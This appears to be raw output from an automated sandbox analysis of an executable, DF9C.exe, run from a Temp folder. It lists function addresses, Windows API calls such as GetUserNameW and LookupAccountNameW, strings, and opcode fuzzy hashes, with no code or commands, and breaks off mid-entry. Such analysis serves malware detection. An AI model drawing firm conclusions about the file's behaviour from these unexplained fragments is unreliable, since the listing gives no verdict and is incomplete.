API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 08e36feba597c11d7a0eda1722b5b07f4380d242d5f599094df7e1ac03759842
Instruction ID: c2a8839537093a7bcbd4d2af16388e97b9e6794b6969bbcdc7d3708e60cb5e88
Opcode Fuzzy Hash: 08e36feba597c11d7a0eda1722b5b07f4380d242d5f599094df7e1ac03759842
Instruction Fuzzy Hash: 91F02830F80218AAEB206E60DC0BB9F3260D728714F20126FF911751C2C7BD5580859D

Uniqueness

Uniqueness Score: -1.00%

Function 00433115, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043318B

Strings

(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 00433143, 00433186
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 0043314F, 0043317C
_mbstowcs_s_l, xrefs: 00433181

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: (pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$_mbstowcs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
API String ID: 3730194576-509740137
Opcode ID: c27e81425dfc8f3299a6cbfba5c3a4cde03ea5a483073b0158e6a1d31538ac49
Instruction ID: 63a649d3d504e3f7d18d1fcb11d3ea60cf885335c4e1d56f4234a0700aae1ec2
Opcode Fuzzy Hash: c27e81425dfc8f3299a6cbfba5c3a4cde03ea5a483073b0158e6a1d31538ac49
Instruction Fuzzy Hash: 2F0131B0E80358EAEF20AE85DC4A7DF7260AB1875AF10106BF811356D1C7FD4594DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00434605, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043467B

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00434633, 00434676
_wcstombs_s_l, xrefs: 00434671
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043463F, 0043466C

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: 17907e94a23a6f03d6856be9309d29cd091a2eca04f3872b5295dbeb8d38a008
Instruction ID: 6dfdd405d88f549aa911276d6518364956fcb51427a57e7a6663c2709720b65b
Opcode Fuzzy Hash: 17907e94a23a6f03d6856be9309d29cd091a2eca04f3872b5295dbeb8d38a008
Instruction Fuzzy Hash: B0011270E80219AAEB205E92DC0BBEF7260E759719F10155BFA24392C1C3FD65448A9D

Uniqueness

Uniqueness Score: -1.00%

Function 00423523, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042362D
__free_base.LIBCMTD ref: 00423639

Strings

t!hTX@, xrefs: 00423539

Memory Dump Source

Source File: 0000001C.00000002.460721211.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __free_base_memset
String ID: t!hTX@
API String ID: 2669475236-1279862668
Opcode ID: 80bb35e45e2df5f6662c781ec6056a6d0c2d1d9d2e2d30bdb8ededdbab8af963
Instruction ID: db29e04e665493f60c45b56a3890ea869f5f76ea882c26a8341735dae64ee97c
Opcode Fuzzy Hash: 80bb35e45e2df5f6662c781ec6056a6d0c2d1d9d2e2d30bdb8ededdbab8af963
Instruction Fuzzy Hash: 8F213E74B00114EFCB14DF44E681A6AB7B2BB88309F74C199E8091B395D639EF42DF58

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: DF9C.exe PID: 6128 Parent PID: 5668 DF9C.exeCOMMON

Executed Functions

Function 00401F20, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00401F4A
GetProcessHeap.KERNEL32(00000008,?), ref: 00401F5F
HeapAlloc.KERNEL32(00000000), ref: 00401F62
GetUserNameW.ADVAPI32(00000000,?), ref: 00401F70
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401F93
GetProcessHeap.KERNEL32(00000008,?), ref: 00401F9E
HeapAlloc.KERNEL32(00000000), ref: 00401FA1
GetProcessHeap.KERNEL32(00000008,?), ref: 00401FB1
HeapAlloc.KERNEL32(00000000), ref: 00401FB4
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401FDE
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401FF1
GetProcessHeap.KERNEL32(00000000,?), ref: 00402082
HeapFree.KERNEL32(00000000), ref: 0040208B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402090
HeapFree.KERNEL32(00000000), ref: 00402093
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040209A
HeapFree.KERNEL32(00000000), ref: 0040209D
LocalFree.KERNEL32(00000000), ref: 004020A2

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 3431d8349e3741f60f119e83b26f5d0cdfe86665a2c340c34e77a64d4caa6b00
Instruction ID: d492bd8296fd2dd1f8d5138aa57cc7271cf5f01e72d77353cf5490167f6fa3f3
Opcode Fuzzy Hash: 3431d8349e3741f60f119e83b26f5d0cdfe86665a2c340c34e77a64d4caa6b00
Instruction Fuzzy Hash: 32516275E00219AFDB109FA5CD88FAFBB7CEF44344F05416AE905A3281DA749E05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00412AB1, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00412AB0,?,?,?,?,?,00413B62), ref: 00412AD3
TerminateProcess.KERNEL32(00000000,?,00412AB0,?,?,?,?,?,00413B62), ref: 00412ADA
ExitProcess.KERNEL32 ref: 00412AEC

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e04fff1fcd62ed4c0ec845f691e2175282aea113ede7df89dcb23ddb00460aeb
Instruction ID: 2978124f6ebb2ebb760cbbfcc57e42dc948c193bee6a21685c17d36dddeca356
Opcode Fuzzy Hash: e04fff1fcd62ed4c0ec845f691e2175282aea113ede7df89dcb23ddb00460aeb
Instruction Fuzzy Hash: C0E04631201108AFCF216B24CE09AAE3B29FF00381B404029F805CA231CF79EDA3CA88

Uniqueness

Uniqueness Score: -1.00%

Function 00410E58, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00010E64,0041095D), ref: 00410E5D

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9dd17286ba4de2365e8c832e2fe13ee54185d320b33f5e1b6a97acbbb1a439a3
Instruction ID: ba3b22b7de774ed40fd1b20fe171d262418bd074a4b9c101d9b425480ecb8d71
Opcode Fuzzy Hash: 9dd17286ba4de2365e8c832e2fe13ee54185d320b33f5e1b6a97acbbb1a439a3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0041B13A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 0041B3C2

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 470a53e86b9533d88611e6625ee46bcf957631b79e5b2958c5235ec6c2cc6ee5
Instruction ID: 8b92f953748715a7e0a0c344bd311d7600a126473bef58d55c40f48aa63deeec
Opcode Fuzzy Hash: 470a53e86b9533d88611e6625ee46bcf957631b79e5b2958c5235ec6c2cc6ee5
Instruction Fuzzy Hash: 96C12770E042499FCF15DF99D881BEE7BB1FF49304F10816AE81497392C7789982CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041E4E7, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 0041E1A0: CreateFileW.KERNELBASE(00000000,00000000,?,0041E590,?,?,00000000,?,0041E590,00000000,0000000C), ref: 0041E1BD

GetLastError.KERNEL32 ref: 0041E5FB
__dosmaperr.LIBCMT ref: 0041E602
GetFileType.KERNELBASE(00000000), ref: 0041E60E
GetLastError.KERNEL32 ref: 0041E618
__dosmaperr.LIBCMT ref: 0041E621
CloseHandle.KERNEL32(00000000), ref: 0041E641
CloseHandle.KERNEL32(00416D8E), ref: 0041E78E
GetLastError.KERNEL32 ref: 0041E7C0
__dosmaperr.LIBCMT ref: 0041E7C7

Strings

H, xrefs: 0041E74C

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 1c2e218b73c7c05f0d6191a617650c9c1982099c96f135368d1fe3f85766c01f
Instruction ID: a7403e0657b75145e8d8d96fe0d57bbe0260386865dff7abc6b4ac31b8702060
Opcode Fuzzy Hash: 1c2e218b73c7c05f0d6191a617650c9c1982099c96f135368d1fe3f85766c01f
Instruction Fuzzy Hash: 2EA13536A001449FCF199F69DC917EE3BA1AF46324F24025EFC11EB391CB389982CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004053D5, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 291COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004053DE

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 21e6802b63bc25722aef84e871b7bf49254a7a4b1f9b2c268501484a09c7b020
Instruction ID: 459d6239118e25bde7370e0713920c12719970239f79d9cbdc0c79445fa80dae
Opcode Fuzzy Hash: 21e6802b63bc25722aef84e871b7bf49254a7a4b1f9b2c268501484a09c7b020
Instruction Fuzzy Hash: 7E9156716101049BEB18EF39DD89BDE7666EF81308F10452EF805AB2C2D77DD6D08B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405502, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405505

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 63437bacc06c4ea381907914b0796f282877a290fbdc6be70a9033f184069dcb
Instruction ID: 3e246cba50cc04f2b49d62d3cdfa704e5ff3deb4579d0762b16de59f24ebb7eb
Opcode Fuzzy Hash: 63437bacc06c4ea381907914b0796f282877a290fbdc6be70a9033f184069dcb
Instruction Fuzzy Hash: 42818B716101049BEB18EB38CD85BDE7666EF81308F10813EF405A72C6D77DDAD08B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405877, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 277COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0040587A

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 7f4dfa47d44f86afe8e77bfb9022252c3a7fedd353b3c5c4fd72ef07d06e2e99
Instruction ID: aa5721e006c6537046776ef58912640645f9287049c094c174700e72efc61ae4
Opcode Fuzzy Hash: 7f4dfa47d44f86afe8e77bfb9022252c3a7fedd353b3c5c4fd72ef07d06e2e99
Instruction Fuzzy Hash: 1D815771A101049BEB18EB78CD89BDE7665EF81308F10813EF805AB2C2D77DD6D08B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040599E, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 276COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004059A1

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 549fe77b039a0dee9e8455bfc57665769f96ab740edb5dfc086b815257629eea
Instruction ID: 3469fa48b22b115758995b4d3c46bebefccc619131d9b9e22321cc252ac1833a
Opcode Fuzzy Hash: 549fe77b039a0dee9e8455bfc57665769f96ab740edb5dfc086b815257629eea
Instruction Fuzzy Hash: AE814771A101049BEB18EA39DD89BDE7665EF86304F10823EF405AB2C2D77DD6D0CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00405AC5, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 275COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405AC8

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: 8cf7ae72a943cef61d611d7c5fef9c1d399e3f5acd1e849e3f2c18ae4a51a8f5
Instruction ID: d596caa66283cebfeb8c1f2eb706e6a8a0d0005b84d1e3b1db04b8e6ad9acb5f
Opcode Fuzzy Hash: 8cf7ae72a943cef61d611d7c5fef9c1d399e3f5acd1e849e3f2c18ae4a51a8f5
Instruction Fuzzy Hash: 448137716101049BEB18EA29CD89BDE7665EF85304F10853EF405AB2C2D77DD6D08B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405BEC, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 274COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00405BEF

Strings

VWh\B, xrefs: 00406209

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesFile
String ID: VWh\B
API String ID: 3188754299-2163885542
Opcode ID: f920878f683e9e03ca2f55b2b19d6ee149232120a97a71673fd9d83369e07ad0
Instruction ID: bb3416baf6a951e8fdd034c692e12aaf879970847645d4d7b0b96c9e4bebb240
Opcode Fuzzy Hash: f920878f683e9e03ca2f55b2b19d6ee149232120a97a71673fd9d83369e07ad0
Instruction Fuzzy Hash: 688147716101049BEB18EB39CD89BDE7665EF86304F10453EF805AB2C2D77DDAD08B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041579B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user~1\AppData\Local\Temp\DF9C.exe, xrefs: 004157DE, 004157E5, 0041581B

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: C:\Users\user~1\AppData\Local\Temp\DF9C.exe
API String ID: 0-2482866405
Opcode ID: 4fb14ade20f3eaf382fe7e64d60070cd322338849bae691d3f3b95ed3818722d
Instruction ID: bd7d30052a7aa55287005ee5f59ad5b9b954ef4e210098312e523257f803a5a8
Opcode Fuzzy Hash: 4fb14ade20f3eaf382fe7e64d60070cd322338849bae691d3f3b95ed3818722d
Instruction Fuzzy Hash: 284151B1A00615EBDB11EB9ADD819EFBBB8EFC5310F10006BF40497251DBB88A91C798

Uniqueness

Uniqueness Score: -1.00%

Function 00408070, Relevance: 4.7, APIs: 3, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 68f223a45fb9ae7e35d3b95fe2153e65624af53c2435bef717e9edb7d766e006
Instruction ID: e0f35521bb23f4481ea4986f966d1eb109b333c8378051b499f50e154bbe73bc
Opcode Fuzzy Hash: 68f223a45fb9ae7e35d3b95fe2153e65624af53c2435bef717e9edb7d766e006
Instruction Fuzzy Hash: 5A71F430E002089BEF14DBA8DE85BDEBB75AF45308F64016ED414772C2EB799989CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004195B2, Relevance: 4.7, APIs: 3, Instructions: 177fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00418D47: GetConsoleCP.KERNEL32(?,00403FB0,00000000), ref: 00418D8F

WriteFile.KERNELBASE(?,00000000,0042F878,00000000,00000000,00000000,00403FB0,00403FB0,00403FB0,00000000,?,?,00412DB5,?,0042F878,00000010), ref: 00419703
GetLastError.KERNEL32(?,00412DB5,?,0042F878,00000010,00403FB0), ref: 0041970D
__dosmaperr.LIBCMT ref: 00419752

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ConsoleErrorFileLastWrite__dosmaperr
String ID:
API String ID: 251514795-0
Opcode ID: 40631f30ed1ed0eaf1094408d14900175e39f446a070495709f2580ddf39e1d1
Instruction ID: e45006f098b22a9e3183ee63a470de1613982ef44acdda56add4ea1b14af4bce
Opcode Fuzzy Hash: 40631f30ed1ed0eaf1094408d14900175e39f446a070495709f2580ddf39e1d1
Instruction Fuzzy Hash: 8051C171A0020AAFDB119FA4C8A5BEFBBB9EF45354F140017E510A7291D6789DC1C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0041C7AF, Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041C7B8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041C826

Part of subcall function 0041C6CB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00421AC0,?,00000000,00000000), ref: 0041C76D

Part of subcall function 004173DA: RtlAllocateHeap.NTDLL(00000000,?,?,b;A,0041C292,00000220,?,?,?,?,?,?,00413B62,?), ref: 0041740C

_free.LIBCMT ref: 0041C817

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: b8e059d427baa3663eafe855e1aa19c313ff6c21d4a63d10e6c92cd874db9735
Instruction ID: 125ff857c10d9c5b02e5e9e9fc6f8a3258c2d70d3eafe75cb766b6e44a62f638
Opcode Fuzzy Hash: b8e059d427baa3663eafe855e1aa19c313ff6c21d4a63d10e6c92cd874db9735
Instruction Fuzzy Hash: 5001B1B2A412153F272126BB5CCCCFF29ADDEC2B95315412EB900D2201EF68CC8291B8

Uniqueness

Uniqueness Score: -1.00%

Function 00417044, Relevance: 4.6, APIs: 3, Instructions: 61COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,00403FB0,?,00416F72,00403FB0,0042F998,0000000C,00417024,0042F878), ref: 0041709A
GetLastError.KERNEL32(?,00416F72,00403FB0,0042F998,0000000C,00417024,0042F878), ref: 004170A4
__dosmaperr.LIBCMT ref: 004170CF

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 4c743a9baefa621831bc71a1ba4a665d0459fa2a28610b75b0a400a5c346c7c9
Instruction ID: 1a1df45d087680ebe062b969f43ad9773c173338d372761a2d75198e9887c976
Opcode Fuzzy Hash: 4c743a9baefa621831bc71a1ba4a665d0459fa2a28610b75b0a400a5c346c7c9
Instruction Fuzzy Hash: AA01043360C3201AD6252335AD457EF2F695B8B738F25022FE9098B2D3DE6C8CC1419D

Uniqueness

Uniqueness Score: -1.00%

Function 00415A48, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0041B67F: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417984,00000001,00000364,00000006,000000FF,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 0041B6C0

_free.LIBCMT ref: 00415A86

Part of subcall function 00416EF1: HeapFree.KERNEL32(00000000,00000000,?,00415FEE), ref: 00416F07
Part of subcall function 00416EF1: GetLastError.KERNEL32(?,?,00415FEE), ref: 00416F19

Strings

C:\Users\user~1\AppData\Local\Temp\DF9C.exe, xrefs: 00415A4D

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID: C:\Users\user~1\AppData\Local\Temp\DF9C.exe
API String ID: 314386986-2482866405
Opcode ID: 56a02d56a13ac98f4b83630fc6e68db71c1ba56e7f355ee1ee618f88c9c506ba
Instruction ID: 5a4e39954d4f134b5786d8435e910eed60b1e00429b79259e9f307b16625cd8c
Opcode Fuzzy Hash: 56a02d56a13ac98f4b83630fc6e68db71c1ba56e7f355ee1ee618f88c9c506ba
Instruction Fuzzy Hash: 73F0A731A4062997CB1469B988816DA7345AF95370F414B36F835DB1C0E674DC8046C8

Uniqueness

Uniqueness Score: -1.00%

Function 004173DA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,b;A,0041C292,00000220,?,?,?,?,?,?,00413B62,?), ref: 0041740C

Strings

b;A, xrefs: 004173DC

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeap
String ID: b;A
API String ID: 1279760036-2306562146
Opcode ID: 7b008c01f29623100c87188e6070c27ccc5f361749eed3967b6c5008f1632c3b
Instruction ID: 6ca6bcda325f3b80ebeda55984cb2a85329c20e8050479ea44a703a0643b4ed1
Opcode Fuzzy Hash: 7b008c01f29623100c87188e6070c27ccc5f361749eed3967b6c5008f1632c3b
Instruction Fuzzy Hash: 04E0E531289131AAE62136269C01BDB3E6E9F513F1F11013BEC1592281CF9CDC8181FD

Uniqueness

Uniqueness Score: -1.00%

Function 00408453, Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000), ref: 00408465
GetFileAttributesA.KERNELBASE(?), ref: 00408477

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: dae53bc85a5ece5aba655279063a4787bc221eec6d1e401198744adad41a2f42
Instruction ID: 63caa361f2c0d1208bac4890bcc6fad1766272f3df2db28293bd6039afc1c580
Opcode Fuzzy Hash: dae53bc85a5ece5aba655279063a4787bc221eec6d1e401198744adad41a2f42
Instruction Fuzzy Hash: 4F513871A001085BDB08EA79CE86BDD7726AF45318FA4063EF844B32C6DA3DE9C14799

Uniqueness

Uniqueness Score: -1.00%

Function 004108A5, Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 004108D7

Part of subcall function 00410FCF: InitializeSListHead.KERNEL32(004324C0,004108FC), ref: 00410FD4

___scrt_fastfail.LIBCMT ref: 0041094A

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Initialize$HeadList___scrt_fastfail
String ID:
API String ID: 2387029388-0
Opcode ID: 1bcb53408c579f2b7248537049d41b25333597d2311ffe4b44b231f43f3c28fd
Instruction ID: 4feefb9457eba128019e805f92475d0495002891e6682fcda2059527cf5a5ee3
Opcode Fuzzy Hash: 1bcb53408c579f2b7248537049d41b25333597d2311ffe4b44b231f43f3c28fd
Instruction Fuzzy Hash: 06013CB1A5430564E92433F35A177DF0A481F407ACB01495FB904AA193DEEEC5E591BF

Uniqueness

Uniqueness Score: -1.00%

Function 00415ACE, Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00415B16

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4bb4d4e57e243818f30a00faebb0971ef0b292afcd0cc17efa7027c950390e8d
Instruction ID: b6c5b35b1c41f21974a26fff082875bdac7fd6feb4aa55ba6f18e6dfa312292b
Opcode Fuzzy Hash: 4bb4d4e57e243818f30a00faebb0971ef0b292afcd0cc17efa7027c950390e8d
Instruction Fuzzy Hash: 40E0A03668E910869221623BAC417EE26459FC2379F12032FF420861D1DFA898C2845D

Uniqueness

Uniqueness Score: -1.00%

Function 00416D4F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00416D89

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: c72ba9e8e0d7bea2039dd8a1c68f4931475a6da333fe9d1a0a62793a8a7fe95e
Instruction ID: 0f8b0904bce34dcb0b8576ae85d945563d08844ddd5551643ae36c77a7a0a986
Opcode Fuzzy Hash: c72ba9e8e0d7bea2039dd8a1c68f4931475a6da333fe9d1a0a62793a8a7fe95e
Instruction Fuzzy Hash: 61112771A0420AAFCF09DF59E9419DB7BF5EF48304F05406AF809EB351D670EA25CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00412CEB, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed07c4456f0bc9c0b3aa6dbf4e0a966a1ed5cf35924caf7cbfb78db0de341fb0
Instruction ID: ccd464cf8de8bd76963c59595488b83bc39702f064f3aa08b2f6ef45467b454a
Opcode Fuzzy Hash: ed07c4456f0bc9c0b3aa6dbf4e0a966a1ed5cf35924caf7cbfb78db0de341fb0
Instruction Fuzzy Hash: B4F021325006101ACA22262AE806BDA27BC8F82378F11031BF924C21E1CAFCD882869D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E459, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041E4BC

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction ID: c502dc3200fe3d9853130bfe2ed0484abc5acba75bc89d69b4d67c4f5dfa64ef
Opcode Fuzzy Hash: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction Fuzzy Hash: 73014472C00159AFCF01AFAACD019EE7FB5AF08314F14416AFD14E2191E6758A61DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0041B67F, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00417984,00000001,00000364,00000006,000000FF,?,?,00413AFC,00416F17,?,?,00415FEE), ref: 0041B6C0

Memory Dump Source

Source File: 0000001D.00000002.501181271.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0c410f677cc84ce65f459c243d53794703ea4e5cc9babcd0d647ce681a758d7a
Instruction ID: bb0239cd917347767d41987d6e0c81cba0b489b220a3017303308f211acca38d
Opcode Fuzzy Hash: 0c410f677cc84ce65f459c243d53794703ea4e5cc9babcd0d647ce681a758d7a
Instruction Fuzzy Hash: DCF0E031201135A79B211B26DD05BDB3759EF617B0B194027BC05E7294CB6CDC8146DE

Uniqueness

Uniqueness Score: -1.00%

Function 0041F8D3, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 004173DA: RtlAllocateHeap.NTDLL(00000000,?,?,b;A,0041C292,00000220,?,?,?,?,?,?,00413B62,?), ref: 0041740C

